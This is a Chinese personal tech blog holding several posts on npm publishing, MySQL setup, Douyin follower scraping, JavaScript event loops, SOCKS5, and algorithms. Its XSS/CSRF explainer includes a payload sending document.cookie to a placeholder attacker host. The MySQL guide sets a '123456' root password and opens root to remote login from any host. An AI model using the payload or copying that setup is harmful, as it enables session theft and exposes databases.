发表于

创建组件

  • 通过 vue-cli 3 来创建一个组件

为什么通过 vue-cli3

  • 该脚手架允许构建不同的目标，包括应用，库

修改 src 目录文件如下

  • src
    • index.js(插件入口)
    • fullpage.vue（组件）

修改 package.json 的 script

1
2
3
4
5
6
"scripts": {
    "serve": "vue-cli-service serve",
    // build lib
    "build:lib": "vue-cli-service build --target lib --name v-fullpage ./src/index.js",
    "lint": "vue-cli-service lint"
}

打包生成第三方库

  • yarn build:lib
  • 根目录下就会出现 dist 文件夹，包含不同版本的 .js 文件，而 v-fullpage.umd.min.js 文件就是给到用户使用的第三方库了

上传 npm

  • npm login
  • package.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"name": "v-fullpage", // 包名,上传名字前到npm查看是否有同名
"description": "A Vue.js components",//对包的描述，在npmjs.com上搜索时会显示，有助于用户在搜索时进行筛选
"version": "0.2.0", // 每次发布需比上一个版本高,不然不给你发布的
"author": "youjie <419703726@qq.com>",
"private": false,
"main": "dist/v-fullpage.umd.min.js", // 入口,import pkg from 'package-name'时，其实导入的就是main定义的文件，它可以是CommonJs格式的, 也可以是umd格式。需要注意的是，当你把一个包发布到npm上时，它同时也可以在unpkg上获取到。也就是说，你的代码既可能在NodeJs环境也可能浏览器环境执行。为此你需要用umd格式打包，并且在package.json定义unpkg字段，一般而言此时它的命名为name.min.js
"repository": {
    "type": "git",
    "url": "https://github.com/yokiyokiyoki/vue-fullpage.git"
},
"bugs": {
    "url": "https://github.com/yokiyokiyoki/vue-fullpage/issues"
},
"keywords": [
    "vue",//有助于用户搜索
    "vue-component"
],
"private": false,//false才行
  • npm publish

参考

发表于

背景

  • 需要给人开发一个项目，然后我让客户自己选购了阿里云的 centos7 系统（他才买了 350 元一年，我很好奇为什么这么便宜，我是 680…杀熟嘛）
  • 然后让客户用 ssh 工具配置，这样我就可以通过 ssh 来连接他的服务器了
  • 这个时候我就需要安装 mysql，并在外面来远程连接了

安装 mysql

安装依赖包

1
yum -y install gcc gcc-c++ ncurses ncurses-devel cmake bison
yum 和 rpm 是什么
  • yum，是 Yellow dog Updater Modified 的简称，起初是由 yellow dog 这一发行版的开发者 Terra Soft 研发，用 python 写成，那时还叫做 yup(yellow dog updater)，后经杜克大学的 Linux@Duke 开发团队进行改进，遂有此名。
  • yum 的宗旨是自动化地升级，安装/移除 rpm 包，收集 rpm 包的相关信息，检查依赖性并自动提示用户解决。
  • rpm（二进制包）是 linux 的可执行程序，类似 windows 的 exe 文件

先检测系统是否自带原有版本 mysql 安装包，如果有要先卸载删除，不然不能成功安装和启动

1
2
3
4
5
6
rpm -qa | grep mysql 查看有哪些安装包
yum remove mysql mysql-server mysql-libs compat-mysql51 注意这个卸载不干净
rm -rf /var/lib/mysql
rm /etc/my.cnf
rpm -qa|grep mysql 再看下有没有删完
whereis mysql 查看残留的目录、如有则删除
  • 如果发现有安装包，可以用 rpm -e 命令删掉安装包

下载 Mysql 的 repo 源

1
2
3
4
mkdi /usr/local/download
cd /usr/local/download/
wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm
wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm

安装 mysql-community-release-el7-5.noarch.rpm 包

1
rpm -ivh mysql-community-release-el7-5.noarch.rpm //rpm -ivh是安装命令的意思

安装 mysql

  • yum install -y mysql-community-server

安装成功后重启 MySQL 服务

  • service mysqld restart

查看 MySQL 服务进程和端口

1
2
ps -ef | grep mysql
netstat -tunpl | grep 3306
  • ps 命令是 Process Status 的缩写
  • ps 命令用来列出系统中当前运行的那些进程。ps 命令列出的是当前那些进程的快照，就是执行 ps 命令的那个时刻的那些进程，如果想要动态的显示进程信息，就可以使用 top 命令。ps 命令详情实例查看这里
  • netstat 是显示各种网络信息的工具

获取 mysql 默认密码

  • grep ‘temporary password’ /var/log/mysqld.log
  • 如果没有反应，需要重置密码
1
2
3
4
5
mysql -u root
use mysql;
update user set password=password('123456') where user='root';
delete from user where user='';//删除空用户
systemctl restart mysql//重启mysql

需要远程连接

  • 开放 3306 端口
1
2
3
systemctl start firewalld.service //启动防火墙
firewall-cmd --permanent --add-port=3306/tcp
firewall-cmd --reload
  • 开启远程登录
1
2
3
4
5
mysql -u root -p
use mysql;
update user set host='%' where user='root' and host='localhost';
exit；
systemctl restart mysql//重启mysql

阿里云远程连接的坑

发表于

背景

  • 因为腾讯微视这边想知道做抖音的分析是大概一个怎么样的情况，我们可以做个 demo（抓的量极少，9000 个用户包括他们的粉丝和关注），通过数学建模尝试给他们方案（他们也不知道自己想要什么）

过程

主要方法

  • 一开始爬虫组给了两个接口，通过 uid 分别拿到粉丝和关注的（上限最多 5000 个），但是这里拿不到用户的粉丝数和关注数（重要信息），只能根据粉丝数组来算，但是最多 5000 个不准确，后来换了新的能抓精确数的接口
  • 我通过一个 uid 递归抓取粉丝接口，直到拿满 9000 个用户

如何写

  • 通过 python 的 requests 库，加上 ua 请求头（模拟手机登网页），请求接口，抓回来的数据写入 csv
  • 但是抓回来的数据发现了一个问题，就是会错行，如果抖音用户心情那里有换行，会导致 csv 换行，就会错（这个解决办法暂时是不抓心情）
  • 抓回来的数据其实极大，统共粉丝+关注有 1 千多万，并没有想的那么小
  • 一直以为 csv 是只能用逗号，没想到还能用\t 分割，csv 读出来可以选择分割的模式
  • 爬虫不能连续爬，写个循环你以为就完事了吗，马上就被封 ip（表现为拿回来的全是空数组），所以我每次请求 sleep 一秒钟
  • 单线程跑其实挺慢的，如果可以多线程，有 ip 池就好了

结论

  • 做个模型分析的话其实挺好玩的
  • 用 9599 个用户拓展出了 15122878 个用户（1 千 5 百万的用户），其中 1303439 个不重复 id（130 多万）
  • KOL 在 9599 个用户中的占比为 0.115%，即为 9599 个用户中有 11 个 KOL（粉丝大于 1 万即 kol 用户）
  • 把 9599 个用户分成 3 组，用户 A 组 3200 个，用户 B 组 3200 个，用户 C 组 3199 个
    • 用户 A 组：平均粉丝数 89.71，平均关注数 1139.41
    • 用户 B 组：平均粉丝数 109.59，平均关注数 1481.78
    • 用户 C 组：平均粉丝数 69.75，平均关注数 1324.39
  • 然后丢给分析师吧

发表于

‘我’是什么

一个人有两个我。一个在黑暗中醒着，一个在光明中睡着。——纪伯伦

  • ‘我’是人类创造出来表达自我的词汇，但其实这里定义已经有误，不能用重复性词语进行描述。
  • 那怎么定义呢，我想这是个很大的问题，大到佛家都论证有’无我’一说。
  • 这里先简单分为内在的我，外在的我两个部分。

内在的我

  • 其实核心是灵魂，是你自我意志的体现，来源
  • 而后是你从小到大经历的伤害，也可以称之为苦难，包在你的灵魂外面
  • 这个苦难就会在外面造就一个内在批评家，告诉你哪些不要做，哪些要做，胆小怕事还是胆大妄为其实取决于此。比如会有一个声音告诉你，你遇到了什么事情，要以什么样的方式去做
  • 这样你在别人眼里就会被打上标签，谨慎，聪明等等，这其实是你在这个社会的外在角色

外在的我

  • 是内在的我映射出来的外在角色在团队，组织，乃至于整个社会的‘我’

昨天的我和今天的我

  • 昨天的我做完了所有的事，晚上睡觉第二天睁眼一看，我跟昨天的我有什么关系呢？昨天的我和今天的我可以自我感知是另外一个完全不一样的人
  • 但是是昨天这个状态的我，才会导致现在醒来的我躺在了这张床上，这是一个连续状态的我。
  • 但是我经常会感觉到这种状态不连续，也就是我会觉得这种联系是断层的。
  • 于是我想到人是一个会思考的芦苇，如果我对当下的思考在未来也可以深刻感受到（除了记忆太久远，会忘记之外），我才会真真切切的感受这样连续的状态。
  • 而且人生是一场长跑，我肯定是在不停的进步的，是你会觉得自己和从前有所不同的其中一个原因。
  • 所以只有强化自己当下‘想’的状态，不断的享受思考这一过程，才会让更加深刻认识到自己

如何强化’想’的状态

历史上能成就一番事业的，必定是对自己想得很明白的人。

  • 写下来你的感受，不断写不断回顾
  • 去感受不同的世界观，去不同的地方

迷惑的’我’

  • 有时候在出租车上，在看电影的时候等等，会突然像是大梦初醒，为何我是在这个宇宙降临了’我’这样的意识——先是怀疑这个宇宙，其次是怀疑’我’这个意识
  • 如果是科学来解释，也无法说明：通过各种化学物质反应而成的‘我’这个意志，为何存在于这个躯壳，而不是其他人。

发表于

xss

cross site scripting 的缩写，即跨站脚本攻击（为了不与 css 混淆）

  • 主要分为三类，反射型、保存型和基于 dom 的 xss 攻击。这些漏洞的基本原理都一样，但是确定和利用漏洞方面又存在很大差异。

反射型

  • 如果一个 web 程序可以动态的显示用户的错误信息，就有可能产生反射型漏洞
  • 显著特征是应用程序没有进行任何过滤和净化措施

案例

  • 如果一个网站的错误消息是这样显示的，www.xxx.com/error.php?message=sorry,an error occurred，然后服务器根据得到的 message，不进行过滤，复制到错误页面的模板

    sorry,an error occurred

    ，返回给用户

  • www.xxx.com/error.php?message=，当用户打开错误页面的时候，就会出现

    ，弹出一个消息框

  • 当然攻击者不会很傻的只 alert 一些消息，通常 xss 都会伴随会话劫持，截获通过验证的会话令牌。

  • 截获用户的会话后，就可以访问该用户授权访问的所有数据和功能
  • 比如攻击构造这样一个 url，message 信息如下
1
2
let i = new Image();
i.src = "http://attacker.com?cookie=" + document.cookie;
  • 由于浏览器的同源策略，直接向 attacker.com 发送 cookie 是无法获得 www.xxx.com 的 cookie，但是 img，iframe，scipr 标签可以跨域，这就是该漏洞被成为跨站脚本的原因。

保存型

  • 脚本通常保存在后端数据库，不经过过滤就存储并且显示给用户
  • 与反射性的流程不同的是，保存型需要向服务器提出至少两次请求，第一次将含有恶意代码的数据提交给服务器，服务器将数据保存，第二次是受害者访问含有恶意代码的数据，恶意代码执行
  • 与反射型不同的是，保存型不需要一个专门设计的 url 来接受 cookie，只需要将含有恶意代码的页面发给用户，等待受害者访问即可。不过也可以用保存型的漏洞来获取用户 cookie 劫持。
  • 如果社交论坛存在保存型的 xss 漏洞，黑客将自己的个人信息一栏修改成恶意的 js 代码，该代码实现两个功能，首先受害者先加自己为好友，然后修改受害者的个人信息为该恶意代码。黑客把个人信息保存并提交给服务器，只需要等受害者访问自己的个人信息页面，浏览器就会执行恶意脚本，然后可怕的“蠕虫”就开始了

基于 dom 的 xss 漏洞

  • 前两种 xss 漏洞，都表现为一种特殊的模式，就是应用程序提取数据并返回给受害者。而基于 dom 的 xss 不具有这种特点，攻击者是借助于 javascript 来展开攻击的

案例

1
2
3
4
let url = document.location;
let message = /message=(.+)$/.exec(url)[1];
document.write(message);
// js脚本中这样写，如果攻击者给受害者发送www.xxx.com/error.php?message=<script>alert(1)</script>，也可以展开xss漏洞攻击
  • 所以写 js 的前端同学注意了，万一写出了有漏洞的代码，这锅得自己背。

解决方案

  • 过滤一些关键字
  • Cookie 防盗，在 Cookie 中防止放入用户名和密码，对 Cookie 信息进行 MD5 等算法进行多次散列存放，必要时还要对 ip 和 cookie 进行绑定，一旦检测异常，立马让用户重新登录；设置 http-only（不能用 js 脚本进行获取）

csrf

cross site request forgery 的缩写，即跨站脚本请求伪造

  • 顾名思义是伪造请求冒充用户在站内的正常操作。
  • 我们知道绝大多数网站是通过 cookie 等方式辨识用户身份（包括服务器端 session 的网站，因为 session id 大多也是保存在 cookie），再予以授权。
  • 所以要伪造用户的正常操作，最好是通过 xss 或者链接欺骗等途径，让用户再本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求（xss 是实现 csrf 的手段之一）

案例

解决方案

  • 如何解决这个问题，过滤用户输入，不允许发布这种含有站内操作 url 的链接，这么做可能有点用，但是阻挡不了 csrf，因为攻击者可以通过 qq 发布这个链接，这样点击到这个链接的用户一样会中招。

  • 所以对待 csrf，我们的视角需要和对待 xss 有所不同。csrf 不一定要有站内的输入，因为他不属于注入攻击，而是属于请求伪造。被伪造的请求可以是任何来源，而非一定是站内。

  • 过滤请求的处理者

    • 检查 Referer 字段：可以检查是否来源于该域名（但是请求者是可以更改 http 请求头的，他可以给这个任何值）
    • 添加校验 token：也就是请求令牌，由于 csrf 的本质在于攻击者欺骗用户去访问自己设置的地址，所以如果要求再访问敏感数据请求的时候，要求用户浏览器提供不保存在 cookie 中，并且攻击者无法伪造的数据作为校验，那么攻击者就无法执行 csrf 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中，其内容是一个伪乱数。当客户端通过表单提交请求的时候，这个伪乱数也一并提交上去校验。
  • 改良站内 api 的设计，对于发布帖子这类创建资源的操作，应该只接受 post 请求，而 get 请求应该只浏览。最好是采用 RESTFUL 风格设计。

推荐阅读

发表于

浏览器中 Event Loop

因为 js 最初是为了和浏览器交互，是一门非阻塞单线程语言。如果多线程处理 dom 可能会有一些意想不到的问题，比如一个线程中增加节点，另外一个线程删除节点。当然引入读写锁可以解决这个问题。

执行栈和队列

  • js 在执行过程中会产生执行环境，这些执行环境会被顺序的加入到执行栈中。如果遇到异步的代码，会被挂起并加入到 task（有多种）队列中。一旦执行栈为空，event-loop 就会从 task 队列中拿出需要执行的代码并放入执行栈中执行。所以本质上来说 js 的异步还是同步行为。

任务源

  • 不同的任务源会被分配到不同的 task 队列中，任务源可以分为微任务（microtask）和宏任务（macrotask）。
  • 在 es6 中，microtask 被称为 jobs，macrotask 被称为 task
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
console.log("script start");

setTimeout(function() {
  console.log("setTimeout");
}, 0);

new Promise(resolve => {
  console.log("Promise");
  resolve();
})
  .then(function() {
    console.log("promise1");
  })
  .then(function() {
    console.log("promise2");
  });

console.log("script end");
// script start => Promise => script end => promise1 => promise2 => setTimeout
  • 微任务包括 process.nextTick,promise,Object.ovserve,MutationObserve
  • 宏任务包括 script，setTimeout，setInterval,setImmediate,I/O,UI rendering
  • 很多人认为微任务一定快于宏任务，其实是错的。因为宏任务中包括了 script，浏览器会执行一个宏任务，接下来有异步代码的话会先执行微任务。

正确的一次 Event-loop 顺序

  • 执行同步代码，这属于宏任务
  • 执行栈为空，查询是否有微任务需要执行
  • 执行所有微任务
  • 必要的话渲染 ui
  • 开始下一轮 event-loop，执行宏任务中的异步代码

所以宏任务中的异步代码有大量的计算并且需要操作 dom 的话，为了更快的界面响应，我们可以把操作 dom 放入微任务中。思考一下 vue ～

node 中的 event loop

node 中的 event loop （存在于 libuv 中）和浏览器的不一样，分为以下六个阶段，他们会按照顺序反复执行

timers

  • 会执行 setTimeout 和 setInterval
  • 一个 timer 指定的事件并不是准确时间，而是在达到这个时间后尽快执行回调，可能会因为系统正在执行别的事务而延迟。
  • 下限的时间会有个范围

I/O callbacks

  • 会执行除了 close 事件，定时器和 setImmediat 的回调

idle，prepare

  • idle，prepare 阶段内部实现

poll 阶段

  • poll 阶段很重要，这一阶段中，系统会做两件事情
    • 执行到点的定时器
    • 执行 poll 队列中的事件
  • 如果有别的定时器需要被执行，会回到 timer 阶段执行回调

check 阶段

  • 执行 setImmediate

close callbacks

  • 执行 close 事件

node 中执行顺序举例

  • 有些情况下，定时器执行顺序是随机的
1
2
3
4
5
6
7
8
9
10
setTimeout(() => {
  console.log("setTimeout");
}, 0);
setImmediate(() => {
  console.log("setImmediate");
});
// 这里可能会输出 setTimeout，setImmediate
// 可能也会相反的输出，这取决于性能
// 因为可能进入 event loop 用了不到 1 毫秒，这时候会执行 setImmediate
// 否则会执行 setTimeout
  • 有些情况下是一定的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
var fs = require('fs')

fs.readFile(__filename, () => {
    setTimeout(() => {
        console.log('timeout');
    }, 0);
    setImmediate(() => {
        console.log('immediate');
    });
});
// 因为 readFile 的回调在 poll 中执行
// 发现有 setImmediate ，所以会立即跳到 check 阶段执行回调
// 再去 timer 阶段执行 setTimeout
// 所以以上输出一定是 setImmediate，setTimeout
  • 上面都是 macrotask 的执行情况，microtask 会在以上每个阶段完成后立即执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
setTimeout(() => {
  console.log("timer1");

  Promise.resolve().then(function() {
    console.log("promise1");
  });
}, 0);

setTimeout(() => {
  console.log("timer2");

  Promise.resolve().then(function() {
    console.log("promise2");
  });
}, 0);

// 以上代码在浏览器和 node 中打印情况是不同的
// 浏览器中打印 timer1, promise1, timer2, promise2
// node 中打印 timer1, timer2, promise1, promise2
  • node 中的 process.nextTick 会优先于其他微任务执行

推荐阅读

-

发表于

计算机中的随机数

  • 我们平时通过摇骰子来扔出点数
  • 这个事情是随机的（不考虑作弊）
  • 但是作为计算机的大脑，cpu 可不会摇骰子
  • 所以它只能通过公式算出来，而且是根据随时在变的时间
  • 具有周期性
  • 有很多种公式，这里介绍一下线性同余法

线性同余法

  • 计算公式是(a+b*r)%c，就是取余数
  • a,b,c 都是系数（也称为随机数的种子），r 是上次算出来的随机数
  • 我们先把 r 设为 0，a,b,c 分别为 1，2，3
1 2 3 4 5 6 7 8 9 10 11 12
0 3 2 5 4 7 6 1 0 3 2 5
  • 容易看出，产生 8 次随机数后，下次产生的也就相同了，这就是所谓周期性
  • 所以要看起来更随机的话，随机数的种子要根据时间来变化

发表于

场景

  • 在 vultr 买了一个服务器后，发现可以 ping 通
  • 但是输入网址却无法连接
  • 但是开启了 ss 之后，可以连接到这个服务器

解决办法

  • 一开始以为是墙的问题，可以封禁端口，导致 80 端口不能使用
  • 但是我换了其他端口也无法连接
  • 后来用 wireshark 抓包，发现返回 icmp 协议： host administratively prohibited
  • 谷歌后查发现是服务器防火墙没有开放 80 端口的缘故
  • 那么另外一个问题随之而来呢，为什么通过 ss 之后就可以连接到服务器呢
  • ss 服务端和 ss 客户端用 socks5 协议封装，服务端再发到真正的目的地
  • 换句话 socks5 协议穿透了防火墙，可以查看这里

SOCK5 协议

以下来自维基百科

  • SOCKS5 是一种网络传输协议，主要用于客户端与外网服务器之间通讯的中间传递。SOCKS 是”SOCKetS”的缩写

目的

  • SOCKS5 是一个代理协议，旨在为位于 Intranet 防火墙后的用户提供访问 Internet 的代理服务，这是个有一定年头的协议，其 RFC 提案的时间比 HTTP 1.0 还要早两个月

用途

实现

iptables

以下来自维基百科>)

  • iptables 是 linux 内核防火墙的命令行工具
  • 通常也指代内核级防火墙
  • iptables 用于 ipv4，ip6tables 用于 ipv6
  • iptables 可以检测，修改，转发，重定向和丢弃 ipv4 数据包

基本概念

表（tables）

  • 过滤 ipv4 数据包的代码已经内置于内核之中，并且按照不同的目的被组织成表的集合
  • 表由一组预先定义的链组成，链包含遍历顺序规则
  • 包含五张表，比较常用的就是 filter 表：用于存放于与防火墙相关操作的默认表

链(chain)

  • 表由链组成
  • 内核空间中：从一个网络接口进来，到另一个网络接口取得 PREROUTING（路由前）
  • 数据包从内核流入用户空间的 INPUT （数据包流入口）
  • 数据包从用户空间流出的 FORWARD （转发关卡）
  • 进入/离开本机的外网接口 OUTPUT （数据包出口）
  • 进入/离开本机的内网接口 POSTROUTING （路由后）

操作

  • 去到所在文件，一般是在/etc/init.d/iptables
  • 可以进行关闭(stop)，开启（start），重启（restart）

推荐阅读

发表于

背包问题

  • 继续上面贪婪算法的背包问题场景

简单算法

  • 尝试各种可能的组合，并找出价值最高的组合
  • 3 件商品就会计算 8 个组合，4 件商品就会计算 16 个集合
  • 这就是前面说到的集合覆盖问题，每增加一件商品，需要计算的都要翻倍
  • 这种简单算法的运行时是 O（2 ~n）2 的 n 次方
  • 所以一多，这种算法就行不通，之前就用了近似算法

动态规划

  • 动态规划就是背包问题的最优解
  • 动态规划的本质是先解决子问题，再逐步解决大问题
  • 每个动态规划都从一个网格开始
  • 每个子问题都是离散的，不相互依赖才可以

最长公共子串

  • 单元格中的值通常就是你要优化的值。在前面背包问题中，单元格中的值就是你要优化的值。
  • 每个单元格都是子问题

场景

  • 用户输错了单词，本来想输 fish，但是输了 hish
  • 假设与 hish 类似的词只有两个（实际上上千个），fish 和 vista，怎么确定是哪一个（哪个单词和它更像）
  • hish 和 fish 都包含的最长公共子串是 ish，用网格来算
  • hish 和 vista 都包含的最长公共子串是 is，用网格来算
  • 因为 fish 的最长公共子串是 3 个，因此用户应该是想输入它

最长公共子序列

  • 与最长公共子串计算方式不一样

动态规划应用

  • git diff 比较文件差异
  • 生物学家使用最长公共子序列来确定 dna 的相似性

发表于

教室调度问题

场景

  • 假设有五节课，从早上九点开始，每节课上一个小时，上到 12 点
  • 如何将尽可能多的课程安排在同一个教室

解法

  • 看起来很难，实际上很简单
  • 找出结束最早的课，它就是这个教室里面上的第一节课
  • 接下来，必须选择第一节课后开始的课。同样我们选择结束最早的课
  • 重复上述步骤
  • 所以贪婪算法就是每一步都采取最优解，最终得到的就是全局最优解
  • 但是贪婪算法并不总是完美的，请看背包问题

背包问题

场景

  • 假设你是个贪婪的小偷，背着可装 35 磅的背包，去商场偷东西
  • 共三样，音响 300 美元 30 磅重，电脑 200 美元 20 磅重，吉他 150 美元 15 磅重
  • 如果按照贪婪算法，那么第一步就装了个音响就不能继续了

NP 完全问题

需要计算所有的解，并从中选出最短的那个

  • 还没有找到快速解决的方法，只能用近似算法

定义

  • 以难解著称的问题
    • 旅行商问题
    • 集合覆盖

近似算法

  • 因为旅行商问题，5 个城市就是 5 的阶乘，一旦城市数量多了，根本不可能快速解出来
  • 于是有人就想到了近似算法
  • 随便选择出发的城市，然后每次选择下次要去的城市的时候
  • 都选择最近的那个

如何识别 NP 完全问题

场景

  • 你正在为篮球队挑选队员，需要优秀的后卫，高高的前锋。。。
  • 手里有一个名单，其中每个球员都符合某些要求
  • 从这些名单里选出来
  • 这就是一个集合覆盖的问题
  • 可以使用近似算法
    • 找出符合要求最多的
    • 重复上面，直到满了

关键

  • 不能将问题分解成小问题的
  • 涉及所有组合的
  • 如果问题可以转换成集合覆盖或者旅行商问题
  • 想想旅行商问题和广度优先搜索的最短路径，后面是从 a 点到 b 点的，前者是经由指定点的就是 NP 完全问题